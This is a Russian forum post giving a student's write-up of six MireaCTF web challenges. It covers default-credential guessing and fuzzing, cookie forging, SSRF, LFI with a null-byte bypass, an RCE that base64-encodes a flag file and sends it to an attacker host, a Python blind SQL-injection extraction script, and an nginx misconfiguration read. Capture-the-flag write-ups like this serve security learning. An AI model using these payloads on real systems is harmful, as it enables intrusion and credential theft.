• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Темы, которые НЕ подходят по объему под префикс "Статья"

Logas

Grey Team
23.04.2023
194
85
BIT
408
Всех приветствую! Решил написать короткий райтап по MireaCTF - это соревнования только для студентов. Пишу райтап только по веб таскам.
1 ТАСК
1700417519695.png

1700417537090.png

1700417660797.png
Я решал этот таск хитрым способом. Конечно, стоило бы сначала пофаззить сайт без авторизации, а потом указав куки в фаззер снова пофаззить, чтобы найти скрытые директории, возможно какие-то креды/конфиг файлы и т.д. Мне было настолько лень, что я начал ручками перебирать стандартные креды ака admin:admin, 1:1, admin:123, 123:123. В итоге креды 1:1 подошли и меня перекинуло на главную страничку магазина.
1700417800245.png
1700417660797.png

Тут мы видим список товаров и цену. А также наш балик 50$. Я уже знал примерно, что делать, дело в том, что когда я еду в вуз я стараюсь читать райтапы по уязвимостям, чтобы быть в тренде:) Мой товарищ с WAPT написал неплохую статью на тему
Я ее прочитал и думаю... Где мой промокод, ёлки-палки. Я не смогу воспользоваться этой уязвимостью, ведь у меня нет промо... Я ленивый. Поэтому просмотрел исходник таска(стили/js файлы/комментарии) и ничего не нашел. Стал думать еще ленивее:) На платформе MireaCTF был список команд, которые уже решили этот таск. Я подумал, что найдется такой же ленивый человек, как и я (не математик) и "набрутит" себе очень много $ на аккаунт, больше, чем 1337 чтобы хватило на покупку флага несколько раз. А раз он ленивый, то и креды создаст простые. В итоге на учетке 123:123 был балик, который подошел под покупку флага и я сдал флаг. Ну это смешно, просто повезло. На деле таск решается вот так:
1) Фаззим ресурс:
Bash:
dirb https://task.com >> ~/Desktop/file.txt #Первоначальный этап
feroxbuster -u https://task.com -w /ПУТЬ/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -d 2 --force-recursion -x txt,php,html
dirb нашел /.git/HEAD (CODE:200|SIZE:22)
feroxbuster не нашел .git с мидл словаря, т.к
1700419159102.png

Его попросту нет. В дефолтном тоже нет. Он есть в common.txt.
Bash:
/usr/share/dirb/wordlists/common.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
Так что в первую очередь используем common словарик, чтобы начать "точку" входа, а далее перекинуть все линки в feroxbuster, т.к там есть режим parallel сканирования. Сразу скажу, что я не профессионал и вы можете меня поправлять, я лишь рассказываю про решение свой команды.
В file.txt у нас хранятся первоначальные линки, которые мы будем прокидывать в feroxbuster и рекурсивно фаззить. Переходим в feroxbuster
Переходим в примеры использования и находим
Bash:
cat large-target-list | ./feroxbuster --stdin --parallel 10 --extract-links --auto-bail
Вот пример нам дали. Теперь берем наши линки и создаем команду со словариком. Ток линки надо от мусора очистить:
1700420356680.png

У меня после очистки осталось 3 линка. Берем их и сохраняем.
Bash:
cat file.txt | feroxbuster --stdin --parallel 3 --extract-links --auto-bail
--auto-bail = Automatically stop scanning when an excessive amount of errors are encountered
полученный линк. Там и хранится промокод:
1700420792805.png

"CAPYDISCOUNT". Дальше используем метод из той статьи, что я скинул.
2 ТАСК
1700420886537.png

1700420908889.png
1700420917201.png

Перехватываем запрос и видим кук invite=md5(false) = нас не пускают из-за этого кука.
1700421065055.png

1700421106037.png

1700421139696.png

после замены кука с md5(false) на md5(true) нас впустили
1700421216069.png

В этот раз включаем перехватчик и следуем(forward)
1700421340166.png

Видим параметр URL.
1700421377752.png

Кроме гифки больше ничего нет. Подставляем в url и забираем флаг. Вопрос к профи, почему нам отдался флаг? В чем тут идея?
1700421446275.png

Если что вместо мы можем использовать , http://127.0.0.1,http://127.1 и т.д. Вот список обхода локалхоста:
3 ТАСК
1700421731696.png

1700421742299.png
1700421756877.png

Просто есть вот такой вот лендинг. И смена языков странички (en, ru, de, es). Поменяем к примеру на ru. Появился get параметр lan. Подставим туда тестовую полезную нагрузку, где текст разделяется точками и заметим, что точки удаляются.
1700421840253.png

Попробуем загуглить lfi payload и подставив
1700422099554.png

Мы ничего не получаем...
Почему мы вводим /../ n-ое количество раз? Я так полагаю, что мы находимся условно вот тут: /var/www/html/index.html
А как перейти в etc/passwd. Для этого нужно откатиться назад.
1700422643483.png

Если не прокатывает, то увеличиваем. Способ забайпассить точки с помощью нулевого байта. Этот метод мне подсказал товарищ:
1700422688226.png

Это работает! Кстати где-нибудь обсуждался bypass dot (точек). Я читал не находил этот способ, когда нулевый байт встраивается между точек.
1700422709089.png

4 ТАСК
1700422891913.png

1700422878956.png
Этот таск практически никто не решил. Потому что у студентов не хватило деняк на белый адрес:))
1700423090587.png

RCE-Remote code execution - удалённое внедрение кода на сервере. Обратные кавычки обозначают, что эту команду надо исполнить. 15***** - это наша атакующая машина с которой читаем файл flag.txt.
Или можно через ngrok
`base64 flag.txt | tr -d "\n"`
Или Burp Collaborator
5 ТАСК
1700423772950.png

1700424426235.png
Регистрируем учетку и входим, далее перехватываем страничку. И видим куки:
1700424471429.png

1700425151071.png

1700425163273.png

Сайт по-разному реагирует на две разные полезные нагрузки, а значит скуля есть. Welcome на страничке = true, если welcome не найден, то false.
SQLMAP не смог найти скулю. Поэтому был написан эксплоит:
Python:
from requests import Session
from bs4 import BeautifulSoup
import requests
import string

host = 'http://localhost:8000'

wordlist = string.ascii_lowercase + string.digits


def brute():
    password = ''

    for i in range(1, 45):
        for symbol in wordlist:
            req = f"ergerger' OR SUBSTRING((SELECT password FROM users_info WHERE username = 'admin'), {i}, 1) = '{symbol}"
            r = requests.get(host, cookies={"username": req})
            if 'Welcome' in r.text:
                print(f"{symbol} char is found")
                password += symbol
    return password


if __name__ == '__main__':
    print(brute())
Вопрос к экспертам. Как подружить данную скулю с sqlmap. Почему sqlmap -r file.txt (* в cookie) --technique=B --dbms=MySql --prefix="'" (пробовал с и без) --level=5 --risk=3.
1700425642198.png


6 ТАСК
1700427478799.png

1700426917094.png
1700426935660.png

Фаззим и находит /backup/backup.zip. Скачиваем и смотрим содержимое
1700426981996.png

/images_secret/flag.txt вот такой путь до флага. Попробуем его прочитать на сервере.
1700427024405.png

Жалко. Тогда попробуем глянуть конфиг. файлы.
1700427076478.png

/img=/var/images
Читаем флаг
/img_secret/flag.txt
1700427125346.png

Это называется nginx misconfig. Почему мы смогли прочитать файл я не знаю, потому что я никогда не создавал свои веб ресурсы и понимаю всех этих тонкостей конфигураций сервера. Будет здорово, если опытные люди подскажут. Если что флагами светить имею полное право, т.к первый этап MireaCTF уже завершился.
1700427633291.png
 

Вложения

  • 1700417553347.png
    1700417553347.png
    3,4 КБ · Просмотры: 33
  • 1700420873911.png
    1700420873911.png
    420 байт · Просмотры: 32
  • 1700423820379.png
    1700423820379.png
    12,6 КБ · Просмотры: 30
  • 1700424652425.png
    1700424652425.png
    23,4 КБ · Просмотры: 33
  • 1700424673272.png
    1700424673272.png
    21,5 КБ · Просмотры: 31
Последнее редактирование:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!